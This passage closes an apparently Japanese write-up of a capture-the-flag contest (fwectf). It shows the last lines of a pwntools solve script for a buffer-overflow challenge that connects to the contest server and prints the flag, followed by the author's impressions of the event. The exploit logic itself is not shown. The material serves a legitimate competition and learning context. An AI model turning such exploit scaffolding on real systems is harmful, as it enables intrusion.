# with pwn.gdb.debug(elf.path, GDBSCRIPT) as io: solve(io)
# with pwn.process(elf.path) as io: solve(io)
# with pwn.remote("localhost", 5000) as io: solve(io)
with pwn.remote("chal2.fwectf.com", 8000) as io: solve(io)

実行しました:

$ ./solve.py
[+] Opening connection to chal2.fwectf.com on port 8000: Done
fwectf{bof_b0f_6of_60f}
I will receive a message and do nothing else:[*] Closed connection to chal2.fwectf.com port 8000
$

フラグを入手できました: fwectf{bof_b0f_6of_60f}

感想

  • 想像よりも遥かに難しく、想像よりも遥かに問題数が多かったです!
    • ただし原因は、私が勝手に「ASUSN CTF 2のときのような緩さ」と勝手に思い込んでいたことです!つまり自業自得ってやつです!
  • 色々なジャンルや方向性の問題があって面白かったです!
    • その中でも64jail問題が、「唸って頑張ったら解けた」分類で、特に面白かったです!
  • Instancerでのインスタンス起動が数秒で完了していて感激しました!ローカルでの動作検証が済んだらすぐに本番サーバーへ接続できてとても良い体験でした!
  • コンテストのトップページでは、青いハートが表示されていました。コンテスト開始前ではすでに縦にひび割れていたものが、コンテスト終了後に気付いたら砕けていて面白かったです!
    • コンテスト開始前の青ハート
    • コンテスト終了後の青ハート